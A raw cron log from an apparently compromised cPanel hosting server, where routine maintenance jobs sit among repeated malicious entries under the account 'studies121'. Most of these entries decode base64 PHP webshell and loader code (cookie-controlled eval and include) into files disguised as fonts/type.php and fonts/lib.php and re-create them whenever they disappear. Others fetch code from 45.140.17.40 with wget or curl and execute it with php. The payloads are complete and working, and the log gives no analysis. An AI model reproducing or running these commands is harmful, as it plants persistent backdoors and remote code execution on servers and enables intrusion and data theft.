Sep  1 21:31:01 ip-184-168-122-23 CROND[27541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:31:01 ip-184-168-122-23 CROND[27542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:31:01 ip-184-168-122-23 CROND[27543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:32:01 ip-184-168-122-23 CROND[27620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:32:01 ip-184-168-122-23 CROND[27624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:32:01 ip-184-168-122-23 CROND[27625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:32:01 ip-184-168-122-23 CROND[27623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:32:01 ip-184-168-122-23 CROND[27622]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:33:01 ip-184-168-122-23 CROND[27703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:33:01 ip-184-168-122-23 CROND[27705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:33:01 ip-184-168-122-23 CROND[27708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:33:01 ip-184-168-122-23 CROND[27706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:34:01 ip-184-168-122-23 CROND[27779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:34:01 ip-184-168-122-23 CROND[27780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:34:01 ip-184-168-122-23 CROND[27782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:34:01 ip-184-168-122-23 CROND[27783]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:34:01 ip-184-168-122-23 CROND[27784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:35:01 ip-184-168-122-23 CROND[27964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:35:01 ip-184-168-122-23 CROND[27966]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 21:35:01 ip-184-168-122-23 CROND[27970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:35:01 ip-184-168-122-23 CROND[27968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:35:01 ip-184-168-122-23 CROND[27973]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:35:01 ip-184-168-122-23 CROND[27971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:35:01 ip-184-168-122-23 CROND[27974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:35:01 ip-184-168-122-23 CROND[27975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:36:01 ip-184-168-122-23 CROND[28075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:36:01 ip-184-168-122-23 CROND[28077]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:36:01 ip-184-168-122-23 CROND[28079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:36:01 ip-184-168-122-23 CROND[28078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:36:01 ip-184-168-122-23 CROND[28080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:37:01 ip-184-168-122-23 CROND[28161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:37:01 ip-184-168-122-23 CROND[28165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:37:01 ip-184-168-122-23 CROND[28162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:37:01 ip-184-168-122-23 CROND[28163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:38:01 ip-184-168-122-23 CROND[28248]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:38:01 ip-184-168-122-23 CROND[28251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:38:01 ip-184-168-122-23 CROND[28250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:38:01 ip-184-168-122-23 CROND[28252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:38:01 ip-184-168-122-23 CROND[28255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:39:01 ip-184-168-122-23 CROND[28336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:39:01 ip-184-168-122-23 CROND[28338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:39:01 ip-184-168-122-23 CROND[28339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:39:01 ip-184-168-122-23 CROND[28342]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 21:39:01 ip-184-168-122-23 CROND[28340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:40:01 ip-184-168-122-23 CROND[28450]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:40:01 ip-184-168-122-23 CROND[28451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:40:01 ip-184-168-122-23 CROND[28455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:40:01 ip-184-168-122-23 CROND[28457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:40:01 ip-184-168-122-23 CROND[28460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:40:01 ip-184-168-122-23 CROND[28459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:40:02 ip-184-168-122-23 CROND[28467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:40:02 ip-184-168-122-23 CROND[28466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:41:01 ip-184-168-122-23 CROND[28547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:41:01 ip-184-168-122-23 CROND[28549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:41:01 ip-184-168-122-23 CROND[28550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:41:01 ip-184-168-122-23 CROND[28551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:42:01 ip-184-168-122-23 CROND[28629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:42:01 ip-184-168-122-23 CROND[28631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:42:01 ip-184-168-122-23 CROND[28632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 21:42:01 ip-184-168-122-23 CROND[28633]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 21:42:01 ip-184-168-122-23 CROND[28637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:43:01 ip-184-168-122-23 CROND[28809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 21:43:01 ip-184-168-122-23 CROND[28811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:43:01 ip-184-168-122-23 CROND[28810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
